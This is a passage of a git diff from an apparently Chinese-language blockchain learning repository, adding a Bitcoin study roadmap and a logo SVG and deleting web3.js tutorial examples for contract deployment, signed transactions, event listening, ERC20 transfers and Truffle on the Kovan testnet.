+- **Coinbase交易** ⬜
+- **交易构建** ⌛
+- **费用估算** ⌛
+- **签名算法** ✅
+
+
+### 1.4 工具
+比特币生态系统中的常用工具：
+- **区块链浏览器** ⌛
+- **全网算力** ⬜
+- **API 服务** ⬜
+- **数据分析工具** ⬜
+
+## 2. 进阶功能
+
+### 2.1 PSBT (部分签名比特币交易)
+PSBT 的介绍和使用：
+- **PSBT 协议简介** ✅
+- **创建和解析 PSBT** ✅
+- **PSBT V2** ⬜
+
+### 2.2 Taproot
+Taproot 技术的介绍及其优势：
+- **施诺尔签名** ✅
+- **MAST** (Merkelized 抽象语法树) ✅
+- **隐私和效率改进** ⬜
+- **Key Path和Script Path的区别** ⬜
+
+### 2.3 多重签名地址
+多重签名地址的使用及优势：
+- **多重签名简介** ✅
+- **OP_CHECKMULTISIG** ✅
+- **OP_CHECKMULTISIGVERIFY** ✅
+- **OP_CHECKSIGADD** ✅
+
+## 3. 生态系统应用
+- **BRC20 协议介绍** ✅
+- **ARC20 协议介绍** ✅
+- **Runes 协议介绍** ✅
+- **闪电网络简介** ⌛
+- **闪电网络核心逻辑** ⌛
+- **OP_CAT**  ✅
+- **Babylon | BTC Staking** ⬜
+
diff --git a/DappLearning-logo.png b/DappLearning-logo.png
new file mode 100644
index 000000000..0d4499b18
Binary files /dev/null and b/DappLearning-logo.png differ
diff --git a/DappLearning-logo.svg b/DappLearning-logo.svg
new file mode 100644
index 000000000..cf80240af
--- /dev/null
+++ b/DappLearning-logo.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1018.79 621.87"><defs><style>.cls-1{fill:#333;fill-opacity:0;}.cls-2{fill:#a5fcf6;}.cls-3{fill:#d0c4fb;}.cls-4{fill:#81a8f8;}.cls-5{fill:#212121;}</style></defs><title>DappLearning</title><g id="图层_2" data-name="图层 2"><g id="Logo_彩色"><rect class="cls-1" x="315.5" width="387.48" height="397.76"/><g id="icon"><path id="左上" class="cls-2" d="M464.45,0H315.5V401.19h12.43L545.41,13.13C501,.61,464.45,0,464.45,0Z"/><g id="右"><path class="cls-3" d="M464.45,0H432.81L569.88,250.32H697.17A206.14,206.14,0,0,0,703,200.6C703,4,464.45,0,464.45,0Z"/></g><g id="下"><path class="cls-4" d="M412.48,250.32,327.93,401.19H464.45s196.46-3.3,232.78-150.87Z"/></g></g><path class="cls-5" d="M0,488.17H44.52q16.67,0,25.79,3.3,16.83,6.13,22.5,22.49a83.63,83.63,0,0,1,4.24,26.9A85.88,85.88,0,0,1,93,567.6q-4.09,12.9-13.52,19a37.12,37.12,0,0,1-13.14,5.12q-7.15,1.34-21.78,1.33H0Zm22.34,18.71v67.48H44.52q14.63,0,20.29-6.45,3.45-4.08,5.58-11.48a56.56,56.56,0,0,0,2.12-15.73,54.77,54.77,0,0,0-2.51-17q-2.52-7.69-6.61-11.48-6-5.34-18.87-5.35Z"/><path class="cls-5" d="M165,546.52q0-8-3.22-10.85T149,532.84H113.41V516.48H149q9.58,0,13.21.39a42.14,42.14,0,0,1,7.39,1.5Q187,525,186.08,550v43.1H141.72q-12,0-16.51-.71a20.6,20.6,0,0,1-8-2.91q-9.27-6.29-9.28-19a25.83,25.83,0,0,1,3.7-13.76,18.77,18.77,0,0,1,9.83-8.26q5.34-1.89,17.78-1.89Zm0,16.36H137.16a8.31,8.31,0,0,0-5.74,1.89A6.58,6.58,0,0,0,129.3,570a5.59,5.59,0,0,0,2.59,5.19q2.6,1.58,8.89,1.57H165Z"/><path class="cls-5" d="M205.74,516.48h36.81q10.69,0,16.2,1.34a27.72,27.72,0,0,1,10.54,5.26Q283,533.79,283,556q0,16.83-10.06,27.21a30.35,30.35,0,0,1-11.57,7.55,47,47,0,0,1-16,2.36H226.82v28.79H205.74Zm21.08,16.36v43.88h12.9q10.22,0,14.94-4.4,6.6-5.82,6.61-17.93,0-10.38-5.2-16t-14.94-5.58Z"/><path class="cls-5" d="M298.39,516.48h36.8q10.69,0,16.21,1.34a27.68,27.68,0,0,1,10.53,5.26q13.69,10.71,13.69,32.88,0,16.83-10.07,27.21A30.32,30.32,0,0,1,354,590.72a47.06,47.06,0,0,1-16,2.36H319.46v28.79H298.39Zm21.07,16.36v43.88h12.9q10.23,0,14.95-4.4,6.6-5.82,6.6-17.93,0-10.38-5.19-16t-14.94-5.58Z"/><path class="cls-5" d="M390.25,488.17h22.17v59q.48,11.18.95,14.79,1.1,7.23,6.92,9.83t20.45,2.59h21.39v18.72H438.38q-16.83,0-24.38-1.89-17.31-5-22-22-1.74-6.6-1.73-22Z"/><path class="cls-5" d="M537.32,546.52v16.36H493q.63,7.54,4.88,10.7t13.84,3.14h25.64v16.36h-28a55.25,55.25,0,0,1-14.87-1.65A33,33,0,0,1,483.68,586q-14-10.85-14-32.24a40.7,40.7,0,0,1,7.39-24.23,28.45,28.45,0,0,1,12.12-10.06q7.06-3,18.56-3h29.57v16.36h-28q-8.65,0-12.11,2.91T493,546.52Z"/><path class="cls-5" d="M607.31,546.52q0-8-3.22-10.85t-12.82-2.83H555.72V516.48h35.55q9.59,0,13.21.39a42.43,42.43,0,0,1,7.4,1.5Q629.33,525,628.39,550v43.1H584q-12,0-16.51-.71a20.49,20.49,0,0,1-8-2.91q-9.29-6.29-9.29-19a25.92,25.92,0,0,1,3.7-13.76,18.77,18.77,0,0,1,9.83-8.26q5.35-1.89,17.78-1.89Zm0,16.36H579.47a8.33,8.33,0,0,0-5.74,1.89,6.58,6.58,0,0,0-2.12,5.19,5.59,5.59,0,0,0,2.59,5.19q2.59,1.58,8.89,1.57h24.22Z"/><path class="cls-5" d="M648.05,516.48H679.2a63.75,63.75,0,0,1,14.86,1.34,20,20,0,0,1,8.73,4.48,17.06,17.06,0,0,1,4.88,7.86q1.41,4.73,1.41,13.53v7.39H688.79V547q0-8.18-2.83-11.16t-10.85-3h-6v60.24H648.05Z"/><path class="cls-5" d="M721.67,516.48h40.58q9.12,0,13.92,1.34a22.1,22.1,0,0,1,8.73,4.79q8,7.39,8,23.28v47.19H771.84V543.53q0-5.65-2.51-8.18T761,532.84H742.74v60.24H721.67Z"/><path class="cls-5" d="M812.58,508.61V488.17h21.08v20.44Zm0,7.87h21.08v76.6H812.58Z"/><path class="cls-5" d="M854.42,516.48H895q9.12,0,13.92,1.34a22.1,22.1,0,0,1,8.73,4.79q8,7.39,8,23.28v47.19H904.6V543.53q0-5.65-2.52-8.18t-8.33-2.51H875.5v60.24H854.42Z"/><path class="cls-5" d="M1018.79,516.48v76.13a40.56,40.56,0,0,1-1.49,11.48,24.09,24.09,0,0,1-4.33,8.5,18.52,18.52,0,0,1-8.73,6q-5.12,1.65-14.86,1.65h-42V603.94h39.17c4.61,0,7.63-.71,9-2.13s2.13-4.32,2.13-8.73H978.37a50.55,50.55,0,0,1-15.34-2,28.94,28.94,0,0,1-10.93-6.53q-11.49-10.86-11.48-29.89,0-21.71,14-31.62A32.57,32.57,0,0,1,965.23,518a56.74,56.74,0,0,1,14.24-1.49Zm-21.07,16.36H980.26q-18.25,0-18.25,22,0,10.7,5,16.28t14.4,5.58h16.36Z"/></g></g></svg>
\ No newline at end of file
diff --git a/Example01-web3js-deploy/README.md b/Example01-web3js-deploy/README.md
deleted file mode 100644
index cde791701..000000000
--- a/Example01-web3js-deploy/README.md
+++ /dev/null
@@ -1,39 +0,0 @@
-## 前言
-通过本样例代码，使开发者了解合约编译，部署的基本流程，并掌握基本的 web3js 接口使用方法
-
-本样例发送交易到 Infura , 需要创建相应的 Infura Project, 可以参考如下资料进行创建    
-https://ithelp.ithome.com.tw/articles/10202794
-
-
-## 代码逻辑
-1)  私钥获取  
-新建sk.txt文件， 并填入私钥（metamask自行导出），然后代码自动从中读取
-
-2)  编译合约  
-使用 solc.compile 对合约进行编译
-
-3) 部署合约  
-调用 deployContract.deploy 方法构造 deploy 交易, 然后调用 signTransaction 方法进行签名, 之后发送交易。 
-合约调用分两种，一种不改变区块链状态call, 一种改变区块链状态 transaction. 
-
-
-## 测试流程:
-1)  安装依赖
-```
-npm install
-```
-
-2) 执行 index.js
-```
-node index.js
-```
-
-## 参考文档
-- Web3js官方文档：
-  https://web3js.readthedocs.io/en/v1.2.11/getting-started.html  
-- 样例代码参考如下链接 
-  https://docs.moonbeam.network/getting-started/local-node/deploy-contract/  
-- Web3js使用参考文档:  
-  https://www.dappuniversity.com/articles/web3-js-intro
-- 代码参考文档：
-  https://docs.moonbeam.network/getting-started/local-node/deploy-contract/
diff --git a/Example01-web3js-deploy/index.js b/Example01-web3js-deploy/index.js
deleted file mode 100644
index dd5ab497c..000000000
--- a/Example01-web3js-deploy/index.js
+++ /dev/null
@@ -1,78 +0,0 @@
-let Web3 = require('web3');
-let solc = require("solc");
-let fs   = require('fs');
-
-// Get privatekey from sk.txt
-const privatekey = fs.readFileSync("./sk.txt").toString().trim()
-
-// Load contract
-const source = fs.readFileSync('Incrementer.sol','utf8');
-
-// compile solidity
-const input = {
-   language: 'Solidity',
-   sources: {
-      'Incrementer.sol': {
-         content: source,
-      },
-   },
-   settings: {
-      outputSelection: {
-         '*': {
-            '*': ['*'],
-         },
-      },
-   },
-};
-
-const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
-const contractFile = tempFile.contracts['Incrementer.sol']['Incrementer'];
-
-
-// Get bin & abi 
-const bytecode = contractFile.evm.bytecode.object;
-const abi = contractFile.abi;
-
-// Create web3 with kovan provider
-const web3 = new Web3('https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07'); 
-
-// Create account from privatekey
-const account = web3.eth.accounts.privateKeyToAccount(privatekey);
-const account_from = {
-	privateKey: privatekey,
-	accountAddress: account.address,
- };
-
-/*
-   -- Deploy Contract --
-*/
-const Deploy = async () => {
-
-	// Create contract instance
-	const deployContract = new web3.eth.Contract(abi);
-
-	// Create Tx
-	const deployTx = deployContract.deploy({
-	data: bytecode,
-	arguments: [5],
-	});
-
-	// Sign Tx 
-	const deployTransaction = await web3.eth.accounts.signTransaction(
-	{
-		data: deployTx.encodeABI(),
-		gas: 8000000,
-	},
-	account_from.privateKey
-	);
-
-
-	const deployReceipt = await web3.eth.sendSignedTransaction(
-		deployTransaction.rawTransaction
-	);
-	console.log(
-	`Contract deployed at address: ${deployReceipt.contractAddress}`
-	);
-}
-
-Deploy();
\ No newline at end of file
diff --git a/Example01-web3js-deploy/package.json b/Example01-web3js-deploy/package.json
deleted file mode 100644
index 32aee31fe..000000000
--- a/Example01-web3js-deploy/package.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
-  "name": "Example01-deploy-contract",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "fs": "0.0.1-security",
-    "ganache-cli": "^6.12.2",
-    "solc": "^0.8.0",
-    "web3": "^1.3.5"
-  }
-}
diff --git a/Example02-web3js-transaction/README.md b/Example02-web3js-transaction/README.md
deleted file mode 100644
index 4473046e2..000000000
--- a/Example02-web3js-transaction/README.md
+++ /dev/null
@@ -1,37 +0,0 @@
-## 前言
-通过本样例代码，开发者了解到如何对交易进行签名，发送，接收交易回执，验证交易执行结果。同时，样例也提供了事件监听的逻辑代码，开发者可以了解如何对一个事件进行一次或多次监听
-
-## 代码逻辑
-1) 私钥获取
-新建sk.txt文件， 并填入私钥（metamask自行导出），然后代码自动从中读取
-
-2) 编译合约  
-编译合约的主逻辑在 compile.js 中。需要注意的是，这里使用的 solc 版本为 0.8.0 ，如果使用其他的 solc 版本，需要修改对应的代码
-
-3) 部署合约  
-调用 deployContract.deploy 方法构造 deploy 交易, 然后调用 signTransaction 方法进行签名, 之后发送交易。 
-合约调用分两种，一种不改变区块链状态call, 一种改变区块链状态 transaction. 
-
-4) 调用合约查询接口  
-调用 incrementer.methods.getNumber() 接口查询合约的 number 变量值
-
-5) 调用合约的修改接口
-调用 incrementer.methods.increment 接口增加合约的 number 变量值
-
-## 测试流程
-1) 安装依赖
-```
-npm install
-```
-
-2) 执行 index.js 脚本
-```
-node index.js
-```
-
-## 参考文章
-代码参考文章如下   
-https://docs.moonbeam.network/getting-started/local-node/deploy-contract/
-
-Kovan 测试网无法使用 http 进行 event 监听，需要使用 web3socket, 可参考如下文章  
-https://medium.com/blockcentric/listening-for-smart-contract-events-on-public-blockchains-fdb5a8ac8b9a
\ No newline at end of file
diff --git a/Example02-web3js-transaction/compile.js b/Example02-web3js-transaction/compile.js
deleted file mode 100644
index b1158e4f2..000000000
--- a/Example02-web3js-transaction/compile.js
+++ /dev/null
@@ -1,28 +0,0 @@
-const fs = require('fs');
-const solc = require('solc');
-
-// 以 utf8 方式加载合约
-const source = fs.readFileSync('Incrementer.sol','utf8');
-
-// 编译合约
-const input = {
-   language: 'Solidity',
-   sources: {
-      'Incrementer.sol': {
-         content: source,
-      },
-   },
-   settings: {
-      outputSelection: {
-         '*': {
-            '*': ['*'],
-         },
-      },
-   },
-};
-
-const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
-const contractFile = tempFile.contracts['Incrementer.sol']['Incrementer'];
-
-// 导出合约数据，可以使用 console 打印 contractFile 中的具体内容信息
-module.exports = contractFile;
diff --git a/Example02-web3js-transaction/index.js b/Example02-web3js-transaction/index.js
deleted file mode 100644
index 320683579..000000000
--- a/Example02-web3js-transaction/index.js
+++ /dev/null
@@ -1,242 +0,0 @@
-const Web3 = require('web3');
-const fs = require("fs");
-const contractFile = require('./compile');
-
-const privatekey = fs.readFileSync("./sk.txt").toString().trim()
-
-/*
-   -- Define Provider --
-*/
-// Provider
-const providerRPC = {
-   development: 'https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07',
-   moonbase: 'https://rpc.testnet.moonbeam.network',
-};
-const web3 = new Web3(providerRPC.development); //Change to correct network
-
-// Create account with privatekey
-const  account = web3.eth.accounts.privateKeyToAccount(privatekey);
-const account_from = {
-   privateKey: privatekey,
-   accountAddress: account.address,
-};
-
-// Get abi & bin
-const bytecode = contractFile.evm.bytecode.object;
-const abi = contractFile.abi;
-
-/*
-*
-*
-*   -- Verify Deployment --
-*
-
-*/
-const Trans = async () => {
-   console.log("============================ 1. Deploy Contract");
-   console.log(`Attempting to deploy from account ${account.address}`);
-
-   // Create Contract Instance
-   const deployContract = new web3.eth.Contract(abi);
-
-   // Create Deployment Tx
-   const deployTx = deployContract.deploy({
-      data: bytecode,
-      arguments: [5],
-   });
-
-   // Sign Tx
-   const createTransaction = await web3.eth.accounts.signTransaction(
-      {
-         data: deployTx.encodeABI(),
-         gas: 8000000,
-      },
-      account_from.privateKey
-   );
-
-   // Get Transaction Receipt
-   const createReceipt = await web3.eth.sendSignedTransaction(
-      createTransaction.rawTransaction
-   );
-   console.log(
-      `Contract deployed at address: ${createReceipt.contractAddress}`
-   );
-
-   const deployedBlockNumber = createReceipt.blockNumber
-
-
-   /*
-   *
-   *
-   * 
-   * -- Verify Interface of Increment --
-   * 
-   * 
-   */
-   // Create the contract with contract address
-   console.log()
-   console.log("============================ 2. Call Contract Interface getNumber");
-   let incrementer = new web3.eth.Contract(abi, createReceipt.contractAddress);
-   
-   console.log(`Making a call to contract at address: ${createReceipt.contractAddress}`);
-
-   let number = await incrementer.methods.getNumber().call();
-   console.log(`The current number stored is: ${number}`);
-
-   // Add 3 to Contract Public Variable
-   console.log()
-   console.log("============================ 3. Call Contract Interface increment");
-   const _value = 3;
-   let incrementTx = incrementer.methods.increment(_value);
-
-   // Sign with Pk
-   let incrementTransaction = await web3.eth.accounts.signTransaction(
-      {
-         to: createReceipt.contractAddress,
-         data: incrementTx.encodeABI(),
-         gas: 8000000,
-      },
-      account_from.privateKey
-   );
-
-   // Send Transactoin and Get TransactionHash
-   const incrementReceipt = await web3.eth.sendSignedTransaction(
-      incrementTransaction.rawTransaction
-   );
-   console.log(`Tx successful with hash: ${incrementReceipt.transactionHash}`);
-
-   number = await incrementer.methods.getNumber().call();
-   console.log(`After increment, the current number stored is: ${number}`);
-
-
-   /*
-   *
-   *
-   * 
-   * -- Verify Interface of Reset --
-   * 
-   * 
-   */
-  console.log()
-  console.log("============================ 4. Call Contract Interface reset");
-  const resetTx = incrementer.methods.reset();
-
-  const resetTransaction = await web3.eth.accounts.signTransaction(
-   {
-      to: createReceipt.contractAddress,
-      data: resetTx.encodeABI(),
-      gas: 8000000,
-   },
-   account_from.privateKey
-   );
-
-   const resetcReceipt = await web3.eth.sendSignedTransaction(
-      resetTransaction.rawTransaction
-   );
-   console.log(`Tx successful with hash: ${resetcReceipt.transactionHash}`);
-   number = await incrementer.methods.getNumber().call();
-   console.log(`After reset, the current number stored is: ${number}`);
-
-
-   /*
-   *
-   *
-   * 
-   * -- Listen to Event Increment --
-   * 
-   * 
-   */
-  console.log()
-  console.log("============================ 5. Listen to Events");
-  console.log(" Listen to Increment Event only once && continuouslly")
-
-  // kovan don't support http protocol to event listen, need to use websocket
-  // more details , please refer to  https://medium.com/blockcentric/listening-for-smart-contract-events-on-public-blockchains-fdb5a8ac8b9a
-  const web3Socket = new Web3(new Web3.providers.WebsocketProvider("wss://kovan.infura.io/ws/v3/0aae8358bfe04803b8e75bb4755eaf07"));
-  incrementer = new web3Socket.eth.Contract(abi, createReceipt.contractAddress);
-
-  // listen to  Increment event only once
-  incrementer.once('Increment', (error,event) => {
-     console.log('I am a onetime event listner, I am going to die now')
-  })
-
-  // listen to Increment event continuouslly
-  incrementer.events.Increment(()=>{
-     console.log('I am a longlive event listner, I get a event now')
-  })
-
-  for(let step = 0; step < 3; step++){
-     incrementTransaction = await web3.eth.accounts.signTransaction(
-        {
-           to: createReceipt.contractAddress,
-           data: incrementTx.encodeABI(),
-           gas: 8000000,
-        },
-        account_from.privateKey
-        );
-     
-        await web3.eth.sendSignedTransaction(
-           incrementTransaction.rawTransaction
-        );
-     
-     if(step == 2){
-        // clear all the listeners
-        web3Socket.eth.clearSubscriptions()
-        console.log("Clearing all the events listeners !!!!")
-     }
-
-  }
-
-   /*
-   *
-   *
-   * 
-   * -- Get past events --
-   * 
-   * 
-   */
-  console.log()
-   console.log("============================ 6. Going to get past events")
-   const pastEvents = await incrementer.getPastEvents('Increment',{
-      fromBlock: deployedBlockNumber,
-      toBlock: 'latest'
-   })
-
-   pastEvents.map((event) =>{ 
-      console.log(event)
-   })
-
-
-   /*
-   *
-   *
-   * 
-   * -- Check Transaction Error --
-   * 
-   * 
-   */ 
-  console.log()
-  console.log("============================ 7. Check the transaction error")
-  incrementTx = incrementer.methods.increment(0);
-  incrementTransaction = await web3.eth.accounts.signTransaction(
-   {
-      to: createReceipt.contractAddress,
-      data: incrementTx.encodeABI(),
-      gas: 8000000,
-   },
-   account_from.privateKey
-   );
-
-   const receipt = null
-   receipt = await web3.eth.sendSignedTransaction(
-      incrementTransaction.rawTransaction
-   ).on('error',console.error)
-
-};
-
-Trans()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example02-web3js-transaction/package.json b/Example02-web3js-transaction/package.json
deleted file mode 100644
index 4ba2fbef1..000000000
--- a/Example02-web3js-transaction/package.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
-  "name": "example02-send-signed-transaction",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "ethereumjs-tx": "^2.1.2",
-    "minimist": "^1.2.5",
-    "solc": "^0.8.0",
-    "web3": "^1.3.5"
-  }
-}
diff --git a/Example03-web3js-erc20/README.md b/Example03-web3js-erc20/README.md
deleted file mode 100644
index 7e2baf967..000000000
--- a/Example03-web3js-erc20/README.md
+++ /dev/null
@@ -1,48 +0,0 @@
-## 前言
-
-本样例演示了 ERC20 合约的基本调用, 让开发者了解 ERC20 合约的基本接口
-
-## 代码逻辑
-
-1. 私钥获取
-   为方便获取，在 sk.txt 中放入的私钥，然后代码自动从中读取
-
-2. 编译合约  
-   编译合约的主逻辑在 compile.js 中。需要注意的是，这里使用的 solc 版本为 0.8.0 ，如果使用其他的 solc 版本，需要修改对应的代码
-
-3. 部署合约  
-   调用 deployContract.deploy 方法构造 deploy 交易, 然后调用 signTransaction 方法进行签名, 之后发送交易。
-   合约调用分两种，一种不改变区块链状态 call, 一种改变区块链状态 transaction.
-
-4. 调用合约
-   调用 erc20Contract.methods.transfer 接口执行 erc20 合约的转账
-
-## 测试流程
-
-1. 创建私钥文件
-创建 sk.txt 文件, 并在其中放入 私钥
-账户需要在`Kovan`测试网上有一点余额，否则无法部署合约
-
-2. 安装依赖
-
-```
-npm install
-```
-
-3. 执行测试
-
-```
-node index.js
-```
-
-## 参考文档
-
-mocha 测试框架：
-http://www.ruanyifeng.com/blog/2015/12/a-mocha-tutorial-of-examples.html
-https://pcaaron.github.io/pages/fe/block/improve4.html#%E8%B7%91%E6%B5%8B%E8%AF%95
-
-infura 不支持 sendTransaciton,只支持 sendRawTransaction:
-
-Infura 不会触发 eth_sendTransaction 方法，因为此方法需要 ethereum 节点中未被锁定的账户。我之前提供的示例也可以在 infura 中运行 :)
-
-https://ethereum.stackexchange.com/questions/70853/the-method-eth-sendtransaction-does-not-exist-is-not-available-on-infura
diff --git a/Example03-web3js-erc20/compile.js b/Example03-web3js-erc20/compile.js
deleted file mode 100644
index 23d2ca2db..000000000
--- a/Example03-web3js-erc20/compile.js
+++ /dev/null
@@ -1,30 +0,0 @@
-const fs = require('fs');
-const solc = require('solc');
-
-// Get Path and Load Contract
-const source = fs.readFileSync('SimpleToken.sol','utf8');
-
-// Compile Contract
-const input = {
-   language: 'Solidity',
-   sources: {
-      'SimpleToken.sol': {
-         content: source,
-      },
-   },
-   settings: {
-      outputSelection: {
-         '*': {
-            '*': ['*'],
-         },
-      },
-   },
-};
-
-
-const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
-const contractFile = tempFile.contracts['SimpleToken.sol']['SimpleToken'];
-
-
-// Export Contract Data
-module.exports = contractFile;
diff --git a/Example03-web3js-erc20/index.js b/Example03-web3js-erc20/index.js
deleted file mode 100644
index 89378f481..000000000
--- a/Example03-web3js-erc20/index.js
+++ /dev/null
@@ -1,104 +0,0 @@
-const Web3 = require('web3');
-const fs = require("fs");
-const contractFile = require('./compile');
-
-const defaultNetwork = "kovan";
-
-const privatekey = fs.readFileSync("./sk.txt").toString().trim()
-/*
-   -- Define Provider & Variables --
-*/
-// Provider
-const web3 = new Web3(new Web3.providers.HttpProvider('https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07'));
-
-const receiver = "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266"
-//account
-const  account = web3.eth.accounts.privateKeyToAccount(privatekey);
-const account_from = {
-   privateKey: account.privateKey,
-   accountaddress: account.address,
-};
-
-// sol ---> abi + bin
-const bytecode = contractFile.evm.bytecode.object;
-const abi = contractFile.abi;
-
-/*
-   -- Deploy Contract --
-*/
-const Trans = async () => {
-   console.log(`Attempting to deploy from account ${account_from.accountaddress}`);
-   web3.eth.getBlockNumber(function (error, result) {
-      console.log(result)
-   })
-   // Create deploy Contract Instance
-   const deployContract = new web3.eth.Contract(abi);
-
-// method 1
-   // Create Constructor Tx
-   const deployTx = deployContract.deploy({
-      data: bytecode,
-      arguments: ["DAPPLEARNING","DAPP",0,10000000],
-   });
-
-   // Sign Transacation and Send
-   const deployTransaction = await web3.eth.accounts.signTransaction(
-      {
-         data: deployTx.encodeABI(),
-         gas: "8000000",
-      },
-      account_from.privateKey
-   );
-
-   // Send Tx and Wait for Receipt
-   const deployReceipt = await web3.eth.sendSignedTransaction(
-      deployTransaction.rawTransaction
-   );
-   console.log(
-      `Contract deployed at address: ${deployReceipt.contractAddress}`
-   );
-
-   // method 2 infura not support
-//    const deployTx2 = await deployContract.deploy({
-//       data: bytecode,
-//       arguments: ["hello","Dapp",1,100000000],
-//    }).send({
-//       from: '0x54A65DB20D7653CE509d3ee42656a8F138037d51',
-//       gas: 1500000,
-//       gasPrice: '30000000000000'}).
-//       then(function(newContractInstance){
-//       console.log(newContractInstance.options.address) // instance with the new contract address
-//    });
-
-   const erc20Contract = new web3.eth.Contract(abi, deployReceipt.contractAddress);
-
-
-   //build the Tx
-   const transferTx = erc20Contract.methods.transfer(receiver,100000).encodeABI();
-
-   // Sign Tx with PK
-   const transferTransaction = await web3.eth.accounts.signTransaction(
-       {
-          to: deployReceipt.contractAddress,
-          data: transferTx,
-          gas: 8000000,
-       },
-       account_from.privateKey
-   );
-
-   // Send Tx and Wait for Receipt
-   const transferReceipt = await web3.eth.sendSignedTransaction(
-      transferTransaction.rawTransaction
-   );
-
-   erc20Contract.methods.balanceOf(receiver).call().then((result)=>{
-      console.log(`The balance of receiver is ${result}`);
-   })
-};
-
-Trans()
-  .then(() => process.exit(0))
-  .catch((error) => {
-    console.error(error);
-    process.exit(1);
-  });
\ No newline at end of file
diff --git a/Example03-web3js-erc20/package.json b/Example03-web3js-erc20/package.json
deleted file mode 100644
index b6195a297..000000000
--- a/Example03-web3js-erc20/package.json
+++ /dev/null
@@ -1,19 +0,0 @@
-{
-  "name": "example02-send-signed-transaction",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "node ./node_modules/mocha/bin/mocha"
-  },
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "chai": "^4.2.0",
-    "ethereumjs-tx": "^2.1.2",
-    "ethers": "^5.0.17",
-    "mocha": "^4.1.0",
-    "solc": "0.8.0",
-    "web3": "^1.3.5"
-  }
-}
diff --git a/Example04-web3js-truffle/README.md b/Example04-web3js-truffle/README.md
deleted file mode 100644
index b093f6390..000000000
--- a/Example04-web3js-truffle/README.md
+++ /dev/null
@@ -1,80 +0,0 @@
-## Truffle 介绍
-Truffle是基于Solidity语言的一套开发框架，它简化了去中心化应用（Dapp）的构建和管理流程。本身是采用Javascript编写，支持智能合约的编译、部署和测试。
-- [Truffle 官网](https://www.trufflesuite.com/docs/truffle/quickstart)
-
-truffle开发框架提供了很多功能，简化了我们的开发、编译、部署与调试过程：
-
- - 内置了智能合约编译、链接、部署和二进制文件的管理
- - 方便快速开发的合约自动化测试
- - 方便扩展的、脚本化的部署与发布框架
- - 方便的网络管理功能。不论是公有网络还是私有网络
- - 基于erc190标准，使用EthPM ＆ NPM进行依赖包管理
- - 内置控制台功能。项目构建后，可以直接在命令行调用输出结果，方便了开发调试
- - 可配的构建流程，支持持续集成。
- - 支持外部脚本的执行
-
-
-## 文件说明
-### 目录结构
- - contracts/: Solidity合约目录
-
- - migrations/: 部署脚本文件目录
-
- - test/: 测试脚本目录，参考 如何测试应用？
-
- - truffle-config.js: Truffle 配置文件
-
-### 各文件作用
-1. contracts/SimpleToken.sol： 这是一个用 Solidity 编写的 erc20 代币 智能合约.
-2. migrations/1_initial_migration.js： 这是一个部署脚本，用来部署 Migrations 合约，对应 Migrations.sol 文件。
-3. truffle-config.js （之前是 truffle.js）： Truffle 配置文件, 用来设置网络信息，和其他项目相关的设置。当我们使用内建的默认的Truffle命令时，这个文件留空也是可以的。
-
-## 测试流程
-1) 安装 truffle
-```
-npm install -g truffle
-```
-
-2) 测试合约
-```
-truffle test
-```
-这里，使用 "truffle test" 后，truffle 会启动内置的 test 网络，同时执行 测试 test 目录下的所有脚本，如果想单独测试某个脚本，可以
-执行 "truffle test ./test/simpletoken.js"
-
-3) 编译合约
-```
-truffle compile 
-```
-
-执行成功后，会输出类似如下信息。从输出信息可以看到， truffle 会把 contracts 目录下的所有合约进行编译
-```
-Compiling .\contracts\SimpleToken.sol...
-
-Writing artifacts to .\build\contracts
-```
-
-4) 部署合约   
-
-在 truffle-config.js 里面，可以配置 truffle 使用的以太网络，其中就包括 truffle test 使用的 "test" 网络。
-这里，直接执行 truffle migrate 报没有找到 test 网络，因为 truffle 不会启动内置的 test 网络。所以这里我们使用 kovan 进行 truffle 合约部署
-```
-truffle migrate --network kovan
-```
-
-当多次执行 truffle migrate 的时候，可能会出 "Network update to date", 然后不执行合约部署的情况，这个时候需要执行如下的 truffle 命令
-```
-truffle migrate --network kovan --reset
-```
-
-## 在 infura 测试合约
-在 test 目录下存在 sol 和 js 类型的文件，truffle 支持这两种类型的测试文件。但目前测试发现，如果连接的测试网络为 infura ，则执行
-sol 的测试文件会报失败。所以，这里我们连接到 infura 进行测试时，只能使用 js 的测试文件。
-
-- 修改 simpletoke.js 
-
-修改 simpletoken.js 文件，把其中的 accounts[1] 修改为 "0x5DF22be367b95788Cd51C7dbdf7c7aB70fE856EE" ( 为例 ), 然后执行
-如下命令。执行过程可能比较慢，需要耐心等待一下。
-```
-truffle test ./test/simpletoken.js --network kovan
-```
diff --git a/Example04-web3js-truffle/package.json b/Example04-web3js-truffle/package.json
deleted file mode 100644
index 815f1eb51..000000000
--- a/Example04-web3js-truffle/package.json
+++ /dev/null
@@ -1,20 +0,0 @@
-{
-  "name": "Example04-web3js-truffle",
-  "version": "1.0.0",
-  "description": "",
-  "main": "truffle-config.js",
-  "directories": {
-    "test": "test"
-  },
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "truffle": "^5.3.6",
-    "truffle-hdwallet-provider": "^1.0.17",
-    "web3": "^1.3.6"
-  }
-}
diff --git a/Example04-web3js-truffle/test/simpletoken.js b/Example04-web3js-truffle/test/simpletoken.js
deleted file mode 100644
index d1347c4f9..000000000
--- a/Example04-web3js-truffle/test/simpletoken.js
+++ /dev/null
@@ -1,29 +0,0 @@
